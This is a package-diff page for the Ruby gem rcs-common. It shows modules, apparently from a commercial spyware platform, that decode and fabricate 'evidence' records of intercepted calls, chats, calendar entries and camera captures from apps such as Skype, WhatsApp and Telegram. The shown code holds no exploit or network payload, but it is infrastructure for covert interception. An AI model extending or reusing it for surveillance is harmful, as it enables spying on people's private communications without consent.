rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,59 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module ApplicationEvidence
6
+
7
+ ELEM_DELIMITER = 0xABADC0DE
8
+
9
+ def content
10
+ program = ["Safari", "Opera", "Firefox"].sample.to_utf16le_binary_null
11
+ action = ['START', 'STOP'].sample.to_utf16le_binary_null
12
+ info = ['qui quo qua', 'ciao miao bau'].sample.to_utf16le_binary_null
13
+ content = StringIO.new
14
+ t = Time.now.getutc
15
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
16
+ content.write program
17
+ content.write action
18
+ content.write info
19
+ content.write [ ELEM_DELIMITER ].pack('L')
20
+
21
+ content.string
22
+ end
23
+
24
+ def generate_content
25
+ ret = Array.new
26
+ 10.rand_times { ret << content() }
27
+ ret
28
+ end
29
+
30
+ def decode_content(common_info, chunks)
31
+ stream = StringIO.new chunks.join
32
+
33
+ until stream.eof?
34
+ info = Hash[common_info]
35
+ info[:data] = Hash.new if info[:data].nil?
36
+
37
+ tm = stream.read 36
38
+ info[:da] = Time.gm(*tm.unpack('L*'), 0)
39
+ info[:data][:program] = ''
40
+ info[:data][:action] = ''
41
+ info[:data][:desc] = ''
42
+
43
+ program = stream.read_utf16le_string
44
+ info[:data][:program] = program.utf16le_to_utf8 unless program.nil?
45
+ action = stream.read_utf16le_string
46
+ info[:data][:action] = action.utf16le_to_utf8 unless action.nil?
47
+ desc = stream.read_utf16le_string
48
+ info[:data][:desc] = desc.utf16le_to_utf8 unless desc.nil?
49
+
50
+ delim = stream.read(4).unpack('L').first
51
+ raise EvidenceDeserializeError.new("Malformed APPLICATION (missing delimiter)") unless delim == ELEM_DELIMITER
52
+
53
+ yield info if block_given?
54
+ end
55
+ :delete_raw
56
+ end
57
+ end
58
+
59
+ end # ::RCS
@@ -0,0 +1,62 @@
1
+ require_relative 'common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+ module CalendarEvidence
6
+ def content
7
+ raise "Not implemented!"
8
+ end
9
+
10
+ def generate_content
11
+ raise "Not implemented!"
12
+ end
13
+
14
+ def decode_content(common_info, chunks)
15
+ stream = StringIO.new chunks.join
16
+
17
+ until stream.eof?
18
+ info = Hash[common_info]
19
+ info[:data] ||= Hash.new
20
+
21
+ @calendar = CalendarSerializer.new.unserialize stream
22
+
23
+ info[:data][:event] = @calendar.fields[:subject]
24
+ info[:data][:type] = @calendar.fields[:categories]
25
+ info[:data][:begin] = @calendar.start_date.to_i
26
+ info[:data][:end] = @calendar.end_date.to_i
27
+ info[:data][:info] = ""
28
+
29
+ trace :debug, "#{info[:data]}"
30
+
31
+ unless @calendar.fields[:recipients].nil?
32
+ recipients = @calendar.fields[:recipients]
33
+ unless recipients.empty?
34
+ info[:data][:recipients] = recipients
35
+ info[:data][:info] += "#{recipients}"
36
+ end
37
+ end
38
+
39
+ unless @calendar.fields[:location].nil?
40
+ location = @calendar.fields[:location]
41
+ unless location.empty?
42
+ info[:data][:location] = location
43
+ info[:data][:info] += " - " unless info[:data][:info].empty?
44
+ info[:data][:info] += "#{location}"
45
+ end
46
+ end
47
+
48
+ unless @calendar.fields[:body].nil?
49
+ body = @calendar.fields[:body]
50
+ unless body.empty?
51
+ info[:data][:body] = body
52
+ info[:data][:info] += " - " unless info[:data][:info].empty?
53
+ info[:data][:info] += "#{body}"
54
+ end
55
+ end
56
+
57
+ yield info if block_given?
58
+ end
59
+ :keep_raw
60
+ end
61
+ end # ::CalendarEvidence
62
+ end # ::RCS
@@ -0,0 +1,185 @@
1
+
2
+ require 'rcs-common/evidence/common'
3
+
4
+ module RCS
5
+
6
+ module CallEvidence
7
+
8
+ LOG_VOICE_VERSION = 2008121901
9
+ CHANNEL = { 0 => :incoming, 1 => :outgoing }
10
+ CALL_PROGRAM = { 0x0141 => :skype,
11
+ 0x0142 => :gtalk,
12
+ 0x0143 => :yahoo,
13
+ 0x0144 => :msn,
14
+ 0x0145 => :phone,
15
+ 0x0146 => :skype,
16
+ 0X0147 => :msn,
17
+ 0x0148 => :viber,
18
+ 0x0149 => :wechat,
19
+ 0x014a => :line,
20
+ }
21
+
22
+ def decode_additional_header(data)
23
+
24
+ raise EvidenceDeserializeError.new("incomplete evidence") if data.nil? or data.bytesize == 0
25
+
26
+ stream = StringIO.new data
27
+ version = read_uint32 stream
28
+
29
+ raise EvidenceDeserializeError.new("invalid log version for voice call") unless version == LOG_VOICE_VERSION
30
+
31
+ ret = Hash.new
32
+ ret[:data] = Hash.new
33
+
34
+ channel = read_uint32 stream
35
+ ret[:data][:channel] = CHANNEL[channel]
36
+
37
+ software = read_uint32 stream
38
+ ret[:data][:program] = CALL_PROGRAM[software]
39
+
40
+ ret[:data][:sample_rate] = read_uint32 stream
41
+ ret[:data][:incoming] = read_uint32 stream
42
+
43
+ low, high = stream.read(8).unpack 'L2'
44
+ ret[:data][:start_time] = Time.from_filetime high, low
45
+ low, high = stream.read(8).unpack 'L2'
46
+ ret[:data][:stop_time] = Time.from_filetime high, low
47
+
48
+ caller_len = read_uint32 stream
49
+ callee_len = read_uint32 stream
50
+
51
+ ret[:data][:peer] = "<unknown>" if callee_len == 0
52
+
53
+ ret[:data][:caller] ||= stream.read(caller_len).utf16le_to_utf8.lstrip.rstrip if caller_len != 0
54
+ ret[:data][:peer] ||= stream.read(callee_len).utf16le_to_utf8.lstrip.rstrip if callee_len != 0
55
+
56
+ ret
57
+ end
58
+
59
+ def decode_content(common_info, chunks)
60
+ info = Hash[common_info]
61
+ info[:data] ||= Hash.new
62
+
63
+ info[:data][:grid_content] = chunks.join
64
+
65
+ info[:end_call] = true if info[:data][:grid_content] == "\xff\xff\xff\xff".force_encoding("ASCII-8BIT")
66
+ info[:end_call] ||= false
67
+
68
+ yield info if block_given?
69
+ :keep_raw
70
+ end
71
+ end
72
+
73
+ module CalllistoldEvidence
74
+
75
+ def content
76
+ raise "Not implemented!"
77
+ end
78
+
79
+ def generate_content
80
+ raise "Not implemented!"
81
+ end
82
+
83
+ def decode_content(common_info, chunks)
84
+
85
+ info = Hash[common_info]
86
+ info[:data] ||= Hash.new
87
+
88
+ stream = StringIO.new chunks.join
89
+
90
+ @call_list = CallListSerializer.new.unserialize stream
91
+
92
+ info[:da] = @call_list.start_time
93
+ info[:data][:peer] = @call_list.fields[:number]
94
+ info[:data][:peer_name] = @call_list.fields[:name] unless @call_list.fields[:name].nil?
95
+ info[:data][:program] = 'Phone'
96
+ info[:data][:status] = :history
97
+ info[:data][:duration] = (@call_list.end_time - @call_list.start_time).to_i
98
+ info[:data][:incoming] = (@call_list.properties.include? :incoming) ? 1 : 0
99
+
100
+ yield info if block_given?
101
+ :delete_raw
102
+ end
103
+
104
+ end # ::CalllistoldEvidence
105
+
106
+ module CalllistEvidence
107
+ include RCS::Tracer
108
+
109
+ ELEM_DELIMITER = 0xABADC0DE
110
+
111
+ CALL_INCOMING = 0x01
112
+
113
+ PROGRAM_TYPE = {
114
+ 0x00 => :phone,
115
+ 0x01 => :skype,
116
+ 0x02 => :viber,
117
+ }
118
+
119
+ def content
120
+ program = [PROGRAM_TYPE.keys.sample].pack('L')
121
+ flags = [[0,1].sample].pack('L')
122
+ users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
123
+ from = users.sample.to_utf16le_binary_null
124
+ to = users.sample.to_utf16le_binary_null
125
+ duration = rand(0..500)
126
+
127
+ content = StringIO.new
128
+ t = Time.now.getutc
129
+ content.write [t.to_i].pack('L')
130
+ content.write program
131
+ content.write flags
132
+ content.write from
133
+ content.write from
134
+ content.write to
135
+ content.write to
136
+ content.write [duration].pack('L')
137
+ content.write [ ELEM_DELIMITER ].pack('L')
138
+
139
+ content.string
140
+ end
141
+
142
+ def generate_content
143
+ ret = Array.new
144
+ 10.rand_times { ret << content() }
145
+ ret
146
+ end
147
+
148
+ def decode_content(common_info, chunks)
149
+ stream = StringIO.new chunks.join
150
+
151
+ until stream.eof?
152
+ tm = stream.read(4)
153
+ info = Hash[common_info]
154
+ info[:da] = Time.at(tm.unpack('L').first)
155
+ info[:data] = Hash.new if info[:data].nil?
156
+
157
+ program = stream.read(4).unpack('L').first
158
+ info[:data][:program] = PROGRAM_TYPE[program]
159
+
160
+ flags = stream.read(4).unpack('L').first
161
+ info[:data][:incoming] = (flags & CALL_INCOMING != 0) ? 1 : 0
162
+
163
+ from = stream.read_utf16le_string
164
+ info[:data][:from] = from.utf16le_to_utf8
165
+ from_display = stream.read_utf16le_string
166
+ info[:data][:from_display] = from_display.utf16le_to_utf8
167
+
168
+ rcpt = stream.read_utf16le_string
169
+ info[:data][:rcpt] = rcpt.utf16le_to_utf8
170
+ rcpt_display = stream.read_utf16le_string
171
+ info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
172
+
173
+ info[:data][:duration] = stream.read(4).unpack('L').first
174
+
175
+ delim = stream.read(4).unpack("L").first
176
+ raise EvidenceDeserializeError.new("Malformed CALLLIST (missing delimiter)") unless delim == ELEM_DELIMITER
177
+
178
+ yield info if block_given?
179
+ end
180
+ :delete_raw
181
+ end
182
+ end # CalllistEvidence
183
+
184
+
185
+ end # RCS::
@@ -0,0 +1,25 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module CameraEvidence
6
+
7
+ def content
8
+ path = File.join(File.dirname(__FILE__), 'content', 'camera', '001.jpg')
9
+ File.open(path, 'rb') {|f| f.read }
10
+ end
11
+
12
+ def generate_content
13
+ [ content ]
14
+ end
15
+
16
+ def decode_content(common_info, chunks)
17
+ info = Hash[common_info]
18
+ info[:data] = Hash.new if info[:data].nil?
19
+ info[:grid_content] = chunks.first
20
+ yield info if block_given?
21
+ :delete_raw
22
+ end
23
+ end
24
+
25
+ end # ::RCS
@@ -0,0 +1,272 @@
1
+ # encoding: utf-8
2
+
3
+ require 'rcs-common/trace'
4
+ require 'rcs-common/evidence/common'
5
+
6
+ module RCS
7
+
8
+ module Chat
9
+
10
+ CHAT_PROGRAM = {
11
+ 0x01 => :skype,
12
+ 0x02 => :facebook,
13
+ 0x03 => :twitter,
14
+ 0x04 => :gmail,
15
+ 0x05 => :bbm,
16
+ 0x06 => :whatsapp,
17
+ 0x07 => :msn,
18
+ 0x08 => :adium,
19
+ 0x09 => :viber,
20
+ 0x0a => :wechat,
21
+ 0x0d => :line,
22
+ 0x0e => :telegram,
23
+ 0x0f => :yahoo,
24
+ 0x10 => :messages,
25
+ }
26
+
27
+ CHAT_INCOMING = 0x00000001
28
+ CHATMM_NOT_RETRIEVED = 0x10000000
29
+
30
+ def decode_from_to(common_info, stream)
31
+ tm = stream.read 36
32
+ info = Hash[common_info]
33
+ info[:da] = Time.gm(*(tm.unpack('L*')), 0)
34
+ info[:data] = Hash.new if info[:data].nil?
35
+
36
+ program = stream.read(4).unpack('L').first
37
+ info[:data][:program] = CHAT_PROGRAM[program]
38
+
39
+ flags = stream.read(4).unpack('L').first
40
+ info[:data][:incoming] = (flags & CHAT_INCOMING != 0) ? 1 : 0
41
+ info[:data][:size] = (flags & CHATMM_NOT_RETRIEVED != 0) ? 0 : 1
42
+
43
+ from = stream.read_utf16le_string
44
+ info[:data][:from] = from.utf16le_to_utf8
45
+ #trace :debug, "CHAT from: #{info[:data][:from]}"
46
+ from_display = stream.read_utf16le_string
47
+ info[:data][:from_display] = from_display.utf16le_to_utf8
48
+ #trace :debug, "CHAT from_display: #{info[:data][:from_display]}"
49
+
50
+ rcpt = stream.read_utf16le_string
51
+ info[:data][:rcpt] = rcpt.utf16le_to_utf8
52
+
53
+ # remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
54
+ recipients = info[:data][:rcpt].split(',')
55
+ recipients.delete(info[:data][:from])
56
+ info[:data][:rcpt] = recipients.join(',')
57
+ #trace :debug, "CHAT rcpt: #{info[:data][:rcpt]}"
58
+
59
+ rcpt_display = stream.read_utf16le_string
60
+ info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
61
+ if info[:data][:program] == :skype
62
+ # remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
63
+ recipients = info[:data][:rcpt_display].split(',')
64
+ recipients.delete(info[:data][:from])
65
+ info[:data][:rcpt_display] = recipients.join(',')
66
+ end
67
+ #trace :debug, "CHAT rcpt_display: #{info[:data][:rcpt_display]}"
68
+
69
+ return info
70
+ end
71
+ end
72
+
73
+ module ChatEvidence
74
+ include RCS::Tracer
75
+ include Chat
76
+
77
+ ELEM_DELIMITER = 0xABADC0DE
78
+ KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
79
+
80
+ def content
81
+ program = [CHAT_PROGRAM.keys.sample].pack('L')
82
+ users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
83
+ from = users.sample.to_utf16le_binary_null
84
+ to = users.sample.to_utf16le_binary_null
85
+
86
+ content = StringIO.new
87
+ t = Time.now.getutc
88
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
89
+ content.write program
90
+ content.write [0].pack('L')
91
+ content.write from
92
+ content.write from
93
+ content.write to
94
+ content.write to
95
+ content.write KEYSTROKES.sample.to_utf16le_binary_null
96
+ content.write [ ELEM_DELIMITER ].pack('L')
97
+
98
+ content.write [t.sec + 5, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
99
+ content.write program
100
+ content.write [1].pack('L')
101
+ content.write to
102
+ content.write to
103
+ content.write from
104
+ content.write from
105
+ content.write KEYSTROKES.sample.to_utf16le_binary_null
106
+ content.write [ ELEM_DELIMITER ].pack('L')
107
+
108
+ content.string
109
+ end
110
+
111
+ def generate_content
112
+ [ content ]
113
+ end
114
+
115
+ def decode_content(common_info, chunks)
116
+ stream = StringIO.new chunks.join
117
+
118
+ until stream.eof?
119
+
120
+ info = decode_from_to(common_info, stream)
121
+
122
+ keystrokes = stream.read_utf16le_string
123
+ info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
124
+ #trace :debug, "CHAT content: #{info[:data][:content]}"
125
+
126
+ delim = stream.read(4).unpack("L").first
127
+ raise EvidenceDeserializeError.new("Malformed CHAT (missing delimiter)") unless delim == ELEM_DELIMITER
128
+
129
+ yield info if block_given?
130
+ end
131
+ :delete_raw
132
+ end
133
+ end # ChatEvidence
134
+
135
+
136
+ module ChatmmEvidence
137
+ include RCS::Tracer
138
+ include Chat
139
+
140
+ def content
141
+ path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
142
+ File.open(path, 'rb') {|f| f.read }
143
+ end
144
+
145
+ def generate_content
146
+ [ content ]
147
+ end
148
+
149
+ def additional_header
150
+ program = [CHAT_PROGRAM.keys.sample].pack('L')
151
+ flags = [[0,1].sample].pack('L')
152
+ users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
153
+ from = users.sample.to_utf16le_binary_null
154
+ to = users.sample.to_utf16le_binary_null
155
+ mime = "image/jpeg".to_utf16le_binary_null
156
+ filename = "nice_picture.jpeg".to_utf16le_binary_null
157
+
158
+ header = StringIO.new
159
+ t = Time.now.getutc
160
+ header.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
161
+ header.write program
162
+ header.write flags
163
+ header.write from
164
+ header.write from
165
+ header.write to
166
+ header.write to
167
+ header.write mime
168
+ header.write filename
169
+
170
+ header.string
171
+ end
172
+
173
+
174
+ def decode_additional_header(data)
175
+ raise EvidenceDeserializeError.new("incomplete CHAT MultiMedia") if data.nil? or data.bytesize == 0
176
+
177
+ stream = StringIO.new data
178
+ info = decode_from_to({}, stream)
179
+
180
+ content_type = stream.read_utf16le_string
181
+ info[:data][:type] = content_type.utf16le_to_utf8 unless content_type.nil?
182
+
183
+ filename = stream.read_utf16le_string
184
+ info[:data][:path] = filename.utf16le_to_utf8 unless filename.nil?
185
+
186
+ return info
187
+ end
188
+
189
+ def decode_content(common_info, chunks)
190
+ info = Hash[common_info]
191
+ info[:data] ||= Hash.new
192
+ info[:grid_content] = chunks.join if info[:data][:size] != 0
193
+ yield info if block_given?
194
+ :delete_raw
195
+ end
196
+
197
+ end
198
+
199
+
200
+ module ChatoldEvidence
201
+ include RCS::Tracer
202
+
203
+ ELEM_DELIMITER = 0xABADC0DE
204
+ KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
205
+
206
+ def content
207
+ program = ["MSN", "Skype", "Yahoo", "Paltalk", "Sticazzi"].sample.to_utf16le_binary_null
208
+ topic = ["Chatting...", "New projecs", "Fuffa", "Bubbole"].sample.to_utf16le_binary_null
209
+ users = ["ALoR, Daniel", "Bruno, Fulvio", "Naga, Quez", "Tizio, Caio"].sample.to_utf16le_binary_null
210
+ content = StringIO.new
211
+ t = Time.now.getutc
212
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
213
+ content.write program
214
+ content.write topic
215
+ content.write users
216
+ content.write KEYSTROKES.sample.to_utf16le_binary_null
217
+ content.write [ ELEM_DELIMITER ].pack('L')
218
+
219
+ content.string
220
+ end
221
+
222
+ def generate_content
223
+ ret = Array.new
224
+ 10.rand_times { ret << content() }
225
+ ret
226
+ end
227
+
228
+ def decode_content(common_info, chunks)
229
+ stream = StringIO.new chunks.join
230
+
231
+ until stream.eof?
232
+ tm = stream.read 36
233
+ #trace :info, "CHAT Time.gm #{tm.unpack('l*')}"
234
+ info = Hash[common_info]
235
+ info[:da] = Time.gm(*(tm.unpack('L*')), 0)
236
+ info[:data] = Hash.new if info[:data].nil?
237
+ info[:data][:program] = ''
238
+ info[:data][:topic] = ''
239
+ info[:data][:peer] = ''
240
+ info[:data][:content] = ''
241
+
242
+ program = stream.read_utf16le_string
243
+ info[:data][:program] = program.utf16le_to_utf8 unless program.nil?
244
+ #trace :info, "CHAT Program #{info[:data][:program]}"
245
+ topic = stream.read_utf16le_string
246
+ info[:data][:topic] = topic.utf16le_to_utf8 unless topic.nil?
247
+ #trace :info, "CHAT Topic #{info[:data][:topic]}"
248
+ users = stream.read_utf16le_string
249
+ info[:data][:peer] = users.utf16le_to_utf8 unless users.nil?
250
+ #trace :info, "CHAT Users #{info[:data][:users]}"
251
+ keystrokes = stream.read_utf16le_string
252
+ info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
253
+
254
+ begin
255
+ info[:data][:content] = JSON.parse info[:data][:content]
256
+ rescue Exception => e
257
+ # leave content as is
258
+ end
259
+
260
+ delim = stream.read(4).unpack("L*").first
261
+ raise EvidenceDeserializeError.new("Malformed CHAT OLD (missing delimiter)") unless delim == ELEM_DELIMITER
262
+
263
+ #puts "decode_content #{info}"
264
+
265
+ yield info if block_given?
266
+ end
267
+ :delete_raw
268
+ end
269
+ end # ChatoldEvidence
270
+
271
+
272
+ end # ::RCS